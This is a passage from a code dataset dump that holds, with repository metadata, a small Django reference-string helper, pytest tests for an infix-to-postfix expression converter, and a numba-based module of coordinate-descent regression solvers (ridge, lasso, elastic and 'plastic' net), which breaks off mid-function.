] | null | null | null | discounts/utils.py | Zadigo/mycommerce | 145031ebb359389e680a820577a4b6b2d382646d | [
"MIT"
] | null | null | null | from django.utils.crypto import get_random_string
def create_reference():
return get_random_string(4)
| 21.4 | 49 | 0.813084 | 16 | 107 | 5.125 | 0.8125 | 0.219512 | 0.365854 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.010638 | 0.121495 | 107 | 4 | 50 | 26.75 | 0.861702 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | true | 0 | 0.333333 | 0.333333 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 1 | 0 | 0 | 0 | 8 |
67f75fdc0162ab6f52dbbaf4f2cf99085a644136 | 12,163 | py | Python | test/test_converter.py | mzinin/s2e2.python | 1d7776be32a34c37174bbb4257ff99f4c340b7ac | [
"MIT"
] | null | null | null | test/test_converter.py | mzinin/s2e2.python | 1d7776be32a34c37174bbb4257ff99f4c340b7ac | [
"MIT"
] | null | null | null | test/test_converter.py | mzinin/s2e2.python | 1d7776be32a34c37174bbb4257ff99f4c340b7ac | [
"MIT"
] | null | null | null | from s2e2.converter import Converter
from s2e2.error import ExpressionError
from s2e2.token_type import TokenType
from s2e2.token import Token
import pytest
class TestConverter:
def setup_method(self):
self.converter = Converter()
def teardown_method(self):
self.converter = None
def test_positive_one_binary_operator_result_value(self):
self.converter.add_operator('+', 1)
input_tokens = [Token(TokenType.ATOM, 'A'),
Token(TokenType.OPERATOR, '+'),
Token(TokenType.ATOM, 'B')]
actual_tokens = self.converter.convert(input_tokens)
expected_tokens = [Token(TokenType.ATOM, 'A'),
Token(TokenType.ATOM, 'B'),
Token(TokenType.OPERATOR, '+')]
assert actual_tokens == expected_tokens
def test_positive_two_binary_operators_same_priority_result_value(self):
self.converter.add_operator('+', 1)
self.converter.add_operator('-', 1)
input_tokens = [Token(TokenType.ATOM, 'A'),
Token(TokenType.OPERATOR, '+'),
Token(TokenType.ATOM, 'B'),
Token(TokenType.OPERATOR, '-'),
Token(TokenType.ATOM, 'C')]
actual_tokens = self.converter.convert(input_tokens)
expected_tokens = [Token(TokenType.ATOM, 'A'),
Token(TokenType.ATOM, 'B'),
Token(TokenType.OPERATOR, '+'),
Token(TokenType.ATOM, 'C'),
Token(TokenType.OPERATOR, '-')]
assert actual_tokens == expected_tokens
def test_positive_two_binary_operators_different_priority_result_value(self):
self.converter.add_operator('+', 1)
self.converter.add_operator('*', 2)
input_tokens = [Token(TokenType.ATOM, 'A'),
Token(TokenType.OPERATOR, '+'),
Token(TokenType.ATOM, 'B'),
Token(TokenType.OPERATOR, '*'),
Token(TokenType.ATOM, 'C')]
actual_tokens = self.converter.convert(input_tokens)
expected_tokens = [Token(TokenType.ATOM, 'A'),
Token(TokenType.ATOM, 'B'),
Token(TokenType.ATOM, 'C'),
Token(TokenType.OPERATOR, '*'),
Token(TokenType.OPERATOR, '+')]
assert actual_tokens == expected_tokens
def test_positive_unary_operator_and_binary_operator_result_value(self):
self.converter.add_operator('!=', 1)
self.converter.add_operator('!', 2)
input_tokens = [Token(TokenType.OPERATOR, '!'),
Token(TokenType.ATOM, 'A'),
Token(TokenType.OPERATOR, '!='),
Token(TokenType.ATOM, 'B')]
actual_tokens = self.converter.convert(input_tokens)
expected_tokens = [Token(TokenType.ATOM, 'A'),
Token(TokenType.OPERATOR, '!'),
Token(TokenType.ATOM, 'B'),
Token(TokenType.OPERATOR, '!=')]
assert actual_tokens == expected_tokens
def test_positive_one_function_without_arguments_result_value(self):
input_tokens = [Token(TokenType.FUNCTION, 'FUN'),
Token(TokenType.LEFT_BRACKET, '('),
Token(TokenType.RIGHT_BRACKET, ')')]
actual_tokens = self.converter.convert(input_tokens)
expected_tokens = [Token(TokenType.FUNCTION, 'FUN')]
assert actual_tokens == expected_tokens
def test_positive_one_function_one_argument_result_value(self):
input_tokens = [Token(TokenType.FUNCTION, 'FUN'),
Token(TokenType.LEFT_BRACKET, '('),
Token(TokenType.ATOM, 'Arg'),
Token(TokenType.RIGHT_BRACKET, ')')]
actual_tokens = self.converter.convert(input_tokens)
expected_tokens = [Token(TokenType.ATOM, 'Arg'),
Token(TokenType.FUNCTION, 'FUN')]
assert actual_tokens == expected_tokens
def test_positive_one_function_three_arguments_result_value(self):
input_tokens = [Token(TokenType.FUNCTION, 'FUN'),
Token(TokenType.LEFT_BRACKET, '('),
Token(TokenType.ATOM, 'Arg1'),
Token(TokenType.ATOM, 'Arg2'),
Token(TokenType.ATOM, 'Arg3'),
Token(TokenType.RIGHT_BRACKET, ')')]
actual_tokens = self.converter.convert(input_tokens)
expected_tokens = [Token(TokenType.ATOM, 'Arg1'),
Token(TokenType.ATOM, 'Arg2'),
Token(TokenType.ATOM, 'Arg3'),
Token(TokenType.FUNCTION, 'FUN')]
assert actual_tokens == expected_tokens
def test_positive_function_and_exernal_operator_result_value(self):
self.converter.add_operator('+', 1)
input_tokens = [Token(TokenType.FUNCTION, 'FUN'),
Token(TokenType.LEFT_BRACKET, '('),
Token(TokenType.ATOM, 'Arg1'),
Token(TokenType.RIGHT_BRACKET, ')'),
Token(TokenType.OPERATOR, '+'),
Token(TokenType.FUNCTION, 'FUN'),
Token(TokenType.LEFT_BRACKET, '('),
Token(TokenType.ATOM, 'Arg2'),
Token(TokenType.RIGHT_BRACKET, ')')]
actual_tokens = self.converter.convert(input_tokens)
expected_tokens = [Token(TokenType.ATOM, 'Arg1'),
Token(TokenType.FUNCTION, 'FUN'),
Token(TokenType.ATOM, 'Arg2'),
Token(TokenType.FUNCTION, 'FUN'),
Token(TokenType.OPERATOR, '+')]
assert actual_tokens == expected_tokens
def test_positive_function_and_internal_operator_result_value(self):
self.converter.add_operator('+', 1)
input_tokens = [Token(TokenType.FUNCTION, 'FUN'),
Token(TokenType.LEFT_BRACKET, '('),
Token(TokenType.ATOM, 'Arg1'),
Token(TokenType.OPERATOR, '+'),
Token(TokenType.ATOM, 'Arg2'),
Token(TokenType.COMMA, ','),
Token(TokenType.ATOM, 'Arg3'),
Token(TokenType.OPERATOR, '+'),
Token(TokenType.ATOM, 'Arg4'),
Token(TokenType.RIGHT_BRACKET, ')')]
actual_tokens = self.converter.convert(input_tokens)
expected_tokens = [Token(TokenType.ATOM, 'Arg1'),
Token(TokenType.ATOM, 'Arg2'),
Token(TokenType.OPERATOR, '+'),
Token(TokenType.ATOM, 'Arg3'),
Token(TokenType.ATOM, 'Arg4'),
Token(TokenType.OPERATOR, '+'),
Token(TokenType.FUNCTION, 'FUN')]
assert actual_tokens == expected_tokens
def test_positive_nested_functions_result_value(self):
self.converter.add_operator('+', 1)
input_tokens = [Token(TokenType.FUNCTION, 'FUN1'),
Token(TokenType.LEFT_BRACKET, '('),
Token(TokenType.FUNCTION, 'FUN2'),
Token(TokenType.LEFT_BRACKET, '('),
Token(TokenType.RIGHT_BRACKET, ')'),
Token(TokenType.COMMA, ','),
Token(TokenType.FUNCTION, 'FUN3'),
Token(TokenType.LEFT_BRACKET, '('),
Token(TokenType.ATOM, 'Arg1'),
Token(TokenType.COMMA, ','),
Token(TokenType.ATOM, 'Arg2'),
Token(TokenType.RIGHT_BRACKET, ')'),
Token(TokenType.RIGHT_BRACKET, ')')]
actual_tokens = self.converter.convert(input_tokens)
expected_tokens = [Token(TokenType.FUNCTION, 'FUN2'),
Token(TokenType.ATOM, 'Arg1'),
Token(TokenType.ATOM, 'Arg2'),
Token(TokenType.FUNCTION, 'FUN3'),
Token(TokenType.FUNCTION, 'FUN1')]
assert actual_tokens == expected_tokens
def test_positive_operators_without_arguments_result_value(self):
self.converter.add_operator('+', 1)
input_tokens = [Token(TokenType.OPERATOR, '+'),
Token(TokenType.OPERATOR, '+'),
Token(TokenType.OPERATOR, '+')]
actual_tokens = self.converter.convert(input_tokens)
expected_tokens = [Token(TokenType.OPERATOR, '+'),
Token(TokenType.OPERATOR, '+'),
Token(TokenType.OPERATOR, '+')]
assert actual_tokens == expected_tokens
def test_positive_function_without_commas_result_value(self):
input_tokens = [Token(TokenType.FUNCTION, 'FUN'),
Token(TokenType.LEFT_BRACKET, '('),
Token(TokenType.ATOM, 'Arg1'),
Token(TokenType.ATOM, 'Arg2'),
Token(TokenType.RIGHT_BRACKET, ')')]
actual_tokens = self.converter.convert(input_tokens)
expected_tokens = [Token(TokenType.ATOM, 'Arg1'),
Token(TokenType.ATOM, 'Arg2'),
Token(TokenType.FUNCTION, 'FUN')]
assert actual_tokens == expected_tokens
def test_positive_function_of_operators_result_value(self):
self.converter.add_operator('+', 1)
input_tokens = [Token(TokenType.FUNCTION, 'FUN'),
Token(TokenType.LEFT_BRACKET, '('),
Token(TokenType.OPERATOR, '+'),
Token(TokenType.OPERATOR, '+'),
Token(TokenType.RIGHT_BRACKET, ')')]
actual_tokens = self.converter.convert(input_tokens)
expected_tokens = [Token(TokenType.OPERATOR, '+'),
Token(TokenType.OPERATOR, '+'),
Token(TokenType.FUNCTION, 'FUN')]
assert actual_tokens == expected_tokens
def test_negative_unpaired_left_bracket(self):
input_tokens = [Token(TokenType.FUNCTION, 'FUN'),
Token(TokenType.LEFT_BRACKET, '('),
Token(TokenType.ATOM, 'Arg1')]
with pytest.raises(ExpressionError) as ex:
self.converter.convert(input_tokens)
assert 'Unpaired bracket' in str(ex.value)
def test_negative_unpaired_right_bracket(self):
input_tokens = [Token(TokenType.FUNCTION, 'FUN'),
Token(TokenType.ATOM, 'Arg1'),
Token(TokenType.RIGHT_BRACKET, ')')]
with pytest.raises(ExpressionError) as ex:
self.converter.convert(input_tokens)
assert 'Unpaired bracket' in str(ex.value)
def test_negative_empty_operator(self):
with pytest.raises(TypeError) as ex:
self.converter.add_operator(None, 1)
assert 'Attempt to add None' in str(ex.value)
def test_negative_two_operators_with_the_same_name(self):
self.converter.add_operator('+', 1)
with pytest.raises(ExpressionError) as ex:
self.converter.add_operator('+', 1)
assert 'is alredy added' in str(ex.value)
def test_negative_unknown_operator(self):
self.converter.add_operator('+', 1)
input_tokens = [Token(TokenType.ATOM, 'Arg1'),
Token(TokenType.OPERATOR, '+'),
Token(TokenType.ATOM, 'Arg2'),
Token(TokenType.OPERATOR, '*'),
Token(TokenType.ATOM, 'Arg3')]
with pytest.raises(ExpressionError) as ex:
self.converter.convert(input_tokens)
assert 'Unknown operator' in str(ex.value)
| 38.009375 | 81 | 0.543451 | 1,089 | 12,163 | 5.853076 | 0.07989 | 0.298714 | 0.149671 | 0.105899 | 0.911829 | 0.90728 | 0.862567 | 0.846878 | 0.798243 | 0.798243 | 0 | 0.0076 | 0.34013 | 12,163 | 319 | 82 | 38.128527 | 0.786569 | 0 | 0 | 0.748858 | 0 | 0 | 0.031818 | 0 | 0 | 0 | 0 | 0 | 0.082192 | 1 | 0.091324 | false | 0 | 0.022831 | 0 | 0.118721 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
e1d66eb0bf8baca1ea92608df51284f61e3d0004 | 20,822 | py | Python | plasticnet/solvers/in_place/in_place.py | donovanr/plastic_net | 28801059133e3f73359c5787ad235eac6c7e77ee | [
"MIT"
] | 1 | 2018-07-29T00:09:48.000Z | 2018-07-29T00:09:48.000Z | plasticnet/solvers/in_place/in_place.py | donovanr/plasticnet | 28801059133e3f73359c5787ad235eac6c7e77ee | [
"MIT"
] | 28 | 2018-07-11T21:35:05.000Z | 2018-07-26T18:10:45.000Z | plasticnet/solvers/in_place/in_place.py | donovanr/plastic_net | 28801059133e3f73359c5787ad235eac6c7e77ee | [
"MIT"
] | 2 | 2018-10-16T17:21:25.000Z | 2019-12-23T06:45:55.000Z | import numpy as np
from numba import jit
from ...utils import math
@jit(nopython=True, nogil=True, cache=False) # pragma: no cover
def ordinary_least_squares_(beta, r, X, tol=1e-8, max_iter=1000):
r"""
ordinary_least_squares_(beta, r, X, tol=1e-8, max_iter=1000)
Ordinary least squares regression. This function finds the :math:`\vec{\beta}` that minimizes
.. math::
\tfrac{1}{2N}||\vec{y}-X\vec{\beta}||_2^2
Args:
beta (numpy.ndarray): shape (D,) coefficient vector. modified in-place.
r (numpy.ndarray): shape (N,) residual, i.e :math:`\vec{r} = \vec{y} - X\vec{\beta}`. modified in-place.
X (numpy.ndarray): shape (N,D) data matrix.
tol (float): convergence criterion for coordinate descent. coordinate descent runs until the maximum element-wise change in **beta** is less than **tol**.
max_iter (int): maximum number of update passes through all P elements of **beta**, in case **tol** is never met.
Note
**beta** and **r** are modified in-place. As inputs, if :math:`\vec{\beta} = 0`, then it *must* be the case that :math:`\vec{r} = \vec{y}`, or the function will not converge to the correct answer. In general, the inputs **beta** and **r** must be coordinated such that :math:`\vec{r} = \vec{y} - X\vec{\beta}`.
"""
N, D = X.shape
rho = np.ones(D, dtype=np.float64) + tol
iter_num = 0
converged = False
while not converged and iter_num < max_iter:
iter_num += 1
for j in range(D):
rho[j] = np.dot(X[:, j], r) / N
r -= rho[j] * X[:, j]
beta[j] += rho[j]
converged = np.max(np.abs(rho)) < tol
return (converged, iter_num)
@jit(nopython=True, nogil=True, cache=True) # pragma: no cover
def ridge_(beta, r, X, lambda_total=1.0, tol=1e-8, max_iter=1000):
r"""
ridge_(beta, r, X, lambda_total=1.0, tol=1e-8, max_iter=1000)
Ridge regression. This function finds the :math:`\vec{\beta}` that minimizes
.. math::
\tfrac{1}{2N} ||\vec{y}-X\vec{\beta}||_2^2 + \lambda \tfrac{1}{2} ||\vec{\beta}||_2^2
Args:
beta (numpy.ndarray): shape (D,) coefficient vector. modified in-place.
r (numpy.ndarray): shape (N,) residual, i.e :math:`\vec{r} = \vec{y} - X\vec{\beta}`. modified in-place.
X (numpy.ndarray): shape (N,D) data matrix.
lambda_total (float): must be non-negative. total regularization penalty strength.
tol (float): convergence criterion for coordinate descent. coordinate descent runs until the maximum element-wise change in **beta** is less than **tol**.
max_iter (int): maximum number of update passes through all P elements of **beta**, in case **tol** is never met.
Returns:
converged (tuple): tuple ``(converged, iter_num)`` containing convergence information. ``converged`` (bool) is whether or not the algorithm converged in the alloted number of iterations) and ``iter_num`` (int) is how many iterations the algorithm ran for.
Note
**beta** and **r** are modified in-place. As inputs, if :math:`\vec{\beta} = 0`, then it *must* be the case that :math:`\vec{r} = \vec{y}`, or the function will not converge to the correct answer. In general, the inputs **beta** and **r** must be coordinated such that :math:`\vec{r} = \vec{y} - X\vec{\beta}`.
"""
N, D = X.shape
beta_old = beta.copy()
delta_beta = np.ones(D, dtype=np.float64) + tol
rho = np.ones(D, dtype=np.float64) + tol
iter_num = 0
converged = False
while not converged and iter_num < max_iter:
iter_num += 1
for j in range(D):
rho[j] = np.dot(X[:, j], r) / N
beta[j] = (beta_old[j] + rho[j]) / (1 + lambda_total)
delta_beta[j] = beta[j] - beta_old[j]
r -= X[:, j] * delta_beta[j]
beta_old[j] = beta[j]
converged = np.max(np.abs(delta_beta)) < tol
return (converged, iter_num)
@jit(nopython=True, nogil=True, cache=True) # pragma: no cover
def lasso_(beta, r, X, lambda_total=1.0, tol=1e-8, max_iter=1000):
r"""
lasso_(beta, r, X, lambda_total=1.0, tol=1e-8, max_iter=1000)
Lasso regression. This function finds the :math:`\vec{\beta}` that minimizes
.. math::
\tfrac{1}{2N} ||\vec{y}-X\vec{\beta}||_2^2 + \lambda ||\vec{\beta}||_1
Args:
beta (numpy.ndarray): shape (D,) coefficient vector. modified in-place.
r (numpy.ndarray): shape (N,) residual, i.e :math:`\vec{r} = \vec{y} - X\vec{\beta}`. modified in-place.
X (numpy.ndarray): shape (N,D) data matrix.
lambda_total (float): must be non-negative. total regularization penalty strength.
tol (float): convergence criterion for coordinate descent. coordinate descent runs until the maximum element-wise change in **beta** is less than **tol**.
max_iter (int): maximum number of update passes through all P elements of **beta**, in case **tol** is never met.
Note
**beta** and **r** are modified in-place. As inputs, if :math:`\vec{\beta} = 0`, then it *must* be the case that :math:`\vec{r} = \vec{y}`, or the function will not converge to the correct answer. In general, the inputs **beta** and **r** must be coordinated such that :math:`\vec{r} = \vec{y} - X\vec{\beta}`.
"""
N, D = X.shape
beta_old = beta.copy()
delta_beta = np.ones(D, dtype=np.float64) + tol
rho = np.ones(D, dtype=np.float64) + tol
iter_num = 0
converged = False
while not converged and iter_num < max_iter:
iter_num += 1
for j in range(D):
rho[j] = np.dot(X[:, j], r) / N
beta[j] = math.soft_thresh(lambda_total, beta_old[j] + rho[j])
delta_beta[j] = beta[j] - beta_old[j]
r -= X[:, j] * delta_beta[j]
beta_old[j] = beta[j]
converged = np.max(np.abs(delta_beta)) < tol
return (converged, iter_num)
@jit(nopython=True, nogil=True, cache=True) # pragma: no cover
def elastic_net_(beta, r, X, lambda_total=1.0, alpha=0.75, tol=1e-8, max_iter=1000):
r"""
elastic_net_(beta, r, X, lambda_total=1.0, alpha=0.75, tol=1e-8, max_iter=1000)
Elastic net regression. This function finds the :math:`\vec{\beta}` that minimizes
.. math::
\tfrac{1}{2N} ||\vec{y}-X\vec{\beta}||_2^2 + \lambda \bigl( \alpha||\vec{\beta}||_1 + (1-\alpha) \tfrac{1}{2} ||\vec{\beta}||_2^2 \bigr)
Args:
beta (numpy.ndarray): shape (D,) coefficient vector. modified in-place.
r (numpy.ndarray): shape (N,) residual, i.e :math:`\vec{r} = \vec{y} - X\vec{\beta}`. modified in-place.
X (numpy.ndarray): shape (N,D) data matrix.
lambda_total (float): must be non-negative. total regularization penalty strength.
alpha (float): mixing parameter between L1 and L1 penalties. must be between zero and one. :math:`\alpha=0` is pure L2 penalty, :math:`\alpha=1` is pure L1 penalty.
tol (float): convergence criterion for coordinate descent. coordinate descent runs until the maximum element-wise change in **beta** is less than **tol**.
max_iter (int): maximum number of update passes through all P elements of **beta**, in case **tol** is never met.
Note
**beta** and **r** are modified in-place. As inputs, if :math:`\vec{\beta} = 0`, then it *must* be the case that :math:`\vec{r} = \vec{y}`, or the function will not converge to the correct answer. In general, the inputs **beta** and **r** must be coordinated such that :math:`\vec{r} = \vec{y} - X\vec{\beta}`.
"""
lambda1 = alpha * lambda_total
lambda2 = (1.0 - alpha) * lambda_total
N, D = X.shape
beta_old = beta.copy()
delta_beta = np.ones(D, dtype=np.float64) + tol
rho = np.ones(D, dtype=np.float64) + tol
iter_num = 0
converged = False
while not converged and iter_num < max_iter:
iter_num += 1
for j in range(D):
rho[j] = np.dot(X[:, j], r) / N
beta[j] = math.soft_thresh(lambda1, beta_old[j] + rho[j]) / (1 + lambda2)
delta_beta[j] = beta[j] - beta_old[j]
r -= X[:, j] * delta_beta[j]
beta_old[j] = beta[j]
converged = np.max(np.abs(delta_beta)) < tol
return (converged, iter_num)
@jit(nopython=True, nogil=True, cache=True) # pragma: no cover
def general_plastic_net_(
beta, r, X, xi, zeta, lambda_total=1.0, alpha=0.75, tol=1e-8, max_iter=1000
):
r"""
general_plastic_net_(beta, r, X, xi, zeta, lambda_total=1.0, alpha=0.75, tol=1e-8, max_iter=1000)
General plastic net regression. This function finds the :math:`\vec{\beta}` that minimizes
.. math::
\tfrac{1}{2N} ||\vec{y}-X\vec{\beta}||_2^2 + \lambda \bigl( \alpha||\vec{\beta}-\vec{\xi}||_1 + (1-\alpha) \tfrac{1}{2} ||\vec{\beta}-\vec{\zeta}||_2^2 \bigr)
Args:
beta (numpy.ndarray): shape (P,) initial guess for the solution to the regression. modified in-place.
r (numpy.ndarray): shape (N,) residual, i.e :math:`\vec{r} = \vec{y} - X\vec{\beta}`. modified in-place.
X (numpy.ndarray): shape (N,P) data matrix.
xi (numpy.ndarray): shape (P,) target for L1 penalty.
zeta (numpy.ndarray): shape (P,) target for L2 penalty.
lambda_total (float): must be non-negative. total regularization penalty strength.
alpha (float): mixing parameter between L1 and L1 penalties. must be between zero and one. :math:`\alpha=0` is pure L2 penalty, :math:`\alpha=1` is pure L1 penalty.
tol (float): convergence criterion for coordinate descent. coordinate descent runs until the maximum element-wise change in **beta** is less than **tol**.
max_iter (int): maximum number of update passes through all P elements of **beta**, in case **tol** is never met.
Note
**beta** and **r** are modified in-place. As inputs, if :math:`\vec{\beta} = 0`, then it *must* be the case that :math:`\vec{r} = \vec{y}`, or the function will not converge to the correct answer. In general, the inputs **beta** and **r** must be coordinated such that :math:`\vec{r} = \vec{y} - X\vec{\beta}`.
"""
lambda1 = alpha * lambda_total
lambda2 = (1.0 - alpha) * lambda_total
N, D = X.shape
beta_old = beta.copy()
delta_beta = np.ones(D, dtype=np.float64) + tol
rho = np.ones(D, dtype=np.float64) + tol
iter_num = 0
converged = False
while not converged and iter_num < max_iter:
iter_num += 1
for j in range(D):
rho[j] = np.dot(X[:, j], r) / N
beta[j] = (
math.soft_thresh(
lambda1,
beta_old[j] + rho[j] + lambda2 * zeta[j] - (1 + lambda2) * xi[j],
)
/ (1 + lambda2)
+ xi[j]
)
delta_beta[j] = beta[j] - beta_old[j]
r -= X[:, j] * delta_beta[j]
beta_old[j] = beta[j]
converged = np.max(np.abs(delta_beta)) < tol
return (converged, iter_num)
@jit(nopython=True, nogil=True, cache=True) # pragma: no cover
def plastic_ridge_(beta, r, X, zeta, lambda_total=1.0, tol=1e-8, max_iter=1000):
r"""
plastic_ridge_(beta, r, X, zeta, lambda_total=1.0, tol=1e-8, max_iter=1000)
Plastic ridge regression. This function finds the :math:`\vec{\beta}` that minimizes
.. math::
\tfrac{1}{2N} ||\vec{y}-X\vec{\beta}||_2^2 + \lambda \tfrac{1}{2} ||\vec{\beta}-\vec{\zeta}||_2^2
Args:
beta (numpy.ndarray): shape (P,) initial guess for the solution to the regression. modified in-place.
r (numpy.ndarray): shape (N,) residual, i.e :math:`\vec{r} = \vec{y} - X\vec{\beta}`. modified in-place.
X (numpy.ndarray): shape (N,P) data matrix.
zeta (numpy.ndarray): shape (P,) target for L2 penalty.
lambda_total (float): must be non-negative. total regularization penalty strength.
tol (float): convergence criterion for coordinate descent. coordinate descent runs until the maximum element-wise change in **beta** is less than **tol**.
max_iter (int): maximum number of update passes through all P elements of **beta**, in case **tol** is never met.
Note
**beta** and **r** are modified in-place. As inputs, if :math:`\vec{\beta} = 0`, then it *must* be the case that :math:`\vec{r} = \vec{y}`, or the function will not converge to the correct answer. In general, the inputs **beta** and **r** must be coordinated such that :math:`\vec{r} = \vec{y} - X\vec{\beta}`.
"""
N, D = X.shape
converged, iter_num = general_plastic_net_(
beta,
r,
X,
np.zeros(D, dtype=np.float64),
zeta,
lambda_total=lambda_total,
alpha=0.0,
tol=tol,
max_iter=max_iter,
)
return (converged, iter_num)
@jit(nopython=True, nogil=True, cache=True) # pragma: no cover
def plastic_lasso_(beta, r, X, xi, lambda_total=1.0, tol=1e-8, max_iter=1000):
r"""
plastic_lasso_(beta, r, X, xi, lambda_total=1.0, tol=1e-8, max_iter=1000)
Plastic lasso regression. This function finds the :math:`\vec{\beta}` that minimizes
.. math::
\tfrac{1}{2N} ||\vec{y}-X\vec{\beta}||_2^2 + \lambda ||\vec{\beta}-\vec{\xi}||_1
Args:
beta (numpy.ndarray): shape (P,) initial guess for the solution to the regression. modified in-place.
r (numpy.ndarray): shape (N,) residual, i.e :math:`\vec{r} = \vec{y} - X\vec{\beta}`. modified in-place.
X (numpy.ndarray): shape (N,P) data matrix.
xi (numpy.ndarray): shape (P,) target for L1 penalty.
lambda_total (float): must be non-negative. total regularization penalty strength.
tol (float): convergence criterion for coordinate descent. coordinate descent runs until the maximum element-wise change in **beta** is less than **tol**.
max_iter (int): maximum number of update passes through all P elements of **beta**, in case **tol** is never met.
Note
**beta** and **r** are modified in-place. As inputs, if :math:`\vec{\beta} = 0`, then it *must* be the case that :math:`\vec{r} = \vec{y}`, or the function will not converge to the correct answer. In general, the inputs **beta** and **r** must be coordinated such that :math:`\vec{r} = \vec{y} - X\vec{\beta}`.
"""
N, D = X.shape
converged, iter_num = general_plastic_net_(
beta,
r,
X,
xi,
np.zeros(D, dtype=np.float64),
lambda_total=lambda_total,
alpha=1.0,
tol=tol,
max_iter=max_iter,
)
return (converged, iter_num)
@jit(nopython=True, nogil=True, cache=True) # pragma: no cover
def hard_plastic_net_(
beta, r, X, xi, lambda_total=1.0, alpha=0.75, tol=1e-8, max_iter=1000
):
r"""
hard_plastic_net_(beta, r, X, xi, lambda_total=1.0, alpha=0.75, tol=1e-8, max_iter=1000)
Hard plastic net regression. This function finds the :math:`\vec{\beta}` that minimizes
.. math::
\tfrac{1}{2N} ||\vec{y}-X\vec{\beta}||_2^2 + \lambda \bigl( \alpha||\vec{\beta}-\vec{\xi}||_1 + (1-\alpha) \tfrac{1}{2} ||\vec{\beta}||_2^2 \bigr)
Args:
beta (numpy.ndarray): shape (P,) initial guess for the solution to the regression. modified in-place.
r (numpy.ndarray): shape (N,) residual, i.e :math:`\vec{r} = \vec{y} - X\vec{\beta}`. modified in-place.
X (numpy.ndarray): shape (N,P) data matrix.
xi (numpy.ndarray): shape (P,) target for L1 penalty.
lambda_total (float): must be non-negative. total regularization penalty strength.
alpha (float): mixing parameter between L1 and L1 penalties. must be between zero and one. :math:`\alpha=0` is pure L2 penalty, :math:`\alpha=1` is pure L1 penalty.
tol (float): convergence criterion for coordinate descent. coordinate descent runs until the maximum element-wise change in **beta** is less than **tol**.
max_iter (int): maximum number of update passes through all P elements of **beta**, in case **tol** is never met.
Note
**beta** and **r** are modified in-place. As inputs, if :math:`\vec{\beta} = 0`, then it *must* be the case that :math:`\vec{r} = \vec{y}`, or the function will not converge to the correct answer. In general, the inputs **beta** and **r** must be coordinated such that :math:`\vec{r} = \vec{y} - X\vec{\beta}`.
"""
N, D = X.shape
converged, iter_num = general_plastic_net_(
beta,
r,
X,
xi,
np.zeros(D, dtype=np.float64),
lambda_total=lambda_total,
alpha=alpha,
tol=tol,
max_iter=max_iter,
)
return (converged, iter_num)
@jit(nopython=True, nogil=True, cache=True) # pragma: no cover
def soft_plastic_net_(
beta, r, X, zeta, lambda_total=1.0, alpha=0.75, tol=1e-8, max_iter=1000
):
r"""
soft_plastic_net_(beta, r, X, zeta, lambda_total=1.0, alpha=0.75, tol=1e-8, max_iter=1000)
Soft plastic net regression. This function finds the :math:`\vec{\beta}` that minimizes
.. math::
\tfrac{1}{2N} ||\vec{y}-X\vec{\beta}||_2^2 + \lambda \bigl( \alpha||\vec{\beta}||_1 + (1-\alpha) \tfrac{1}{2} ||\vec{\beta}-\vec{\zeta}||_2^2 \bigr)
Args:
beta (numpy.ndarray): shape (P,) initial guess for the solution to the regression. modified in-place.
r (numpy.ndarray): shape (N,) residual, i.e :math:`\vec{r} = \vec{y} - X\vec{\beta}`. modified in-place.
X (numpy.ndarray): shape (N,P) data matrix.
zeta (numpy.ndarray): shape (P,) target for L2 penalty.
lambda_total (float): must be non-negative. total regularization penalty strength.
alpha (float): mixing parameter between L1 and L1 penalties. must be between zero and one. :math:`\alpha=0` is pure L2 penalty, :math:`\alpha=1` is pure L1 penalty.
tol (float): convergence criterion for coordinate descent. coordinate descent runs until the maximum element-wise change in **beta** is less than **tol**.
max_iter (int): maximum number of update passes through all P elements of **beta**, in case **tol** is never met.
Note
**beta** and **r** are modified in-place. As inputs, if :math:`\vec{\beta} = 0`, then it *must* be the case that :math:`\vec{r} = \vec{y}`, or the function will not converge to the correct answer. In general, the inputs **beta** and **r** must be coordinated such that :math:`\vec{r} = \vec{y} - X\vec{\beta}`.
"""
N, D = X.shape
converged, iter_num = general_plastic_net_(
beta,
r,
X,
np.zeros(D, dtype=np.float64),
zeta,
lambda_total=lambda_total,
alpha=alpha,
tol=tol,
max_iter=max_iter,
)
return (converged, iter_num)
@jit(nopython=True, nogil=True, cache=True) # pragma: no cover
def unified_plastic_net_(
beta, r, X, xi, lambda_total=1.0, alpha=0.75, tol=1e-8, max_iter=1000
):
r"""
unified_plastic_net_(beta, r, X, xi, lambda_total=1.0, alpha=0.75, tol=1e-8, max_iter=1000)
Unified plastic net regression. This function finds the :math:`\vec{\beta}` that minimizes
.. math::
\tfrac{1}{2N} ||\vec{y}-X\vec{\beta}||_2^2 + \lambda \bigl( \alpha||\vec{\beta}-\vec{\xi}||_1 + (1-\alpha) \tfrac{1}{2} ||\vec{\beta}-\vec{\xi}||_2^2 \bigr)
Args:
beta (numpy.ndarray): shape (P,) initial guess for the solution to the regression. modified in-place.
r (numpy.ndarray): shape (N,) residual, i.e :math:`\vec{r} = \vec{y} - X\vec{\beta}`. modified in-place.
X (numpy.ndarray): shape (N,P) data matrix.
xi (numpy.ndarray): shape (P,) target for both L1 and L2 penalties.
lambda_total (float): must be non-negative. total regularization penalty strength.
alpha (float): mixing parameter between L1 and L1 penalties. must be between zero and one. :math:`\alpha=0` is pure L2 penalty, :math:`\alpha=1` is pure L1 penalty.
tol (float): convergence criterion for coordinate descent. coordinate descent runs until the maximum element-wise change in **beta** is less than **tol**.
max_iter (int): maximum number of update passes through all P elements of **beta**, in case **tol** is never met.
Note
**beta** and **r** are modified in-place. As inputs, if :math:`\vec{\beta} = 0`, then it *must* be the case that :math:`\vec{r} = \vec{y}`, or the function will not converge to the correct answer. In general, the inputs **beta** and **r** must be coordinated such that :math:`\vec{r} = \vec{y} - X\vec{\beta}`.
"""
N, D = X.shape
converged, iter_num = general_plastic_net_(
beta,
r,
X,
xi,
xi,
lambda_total=lambda_total,
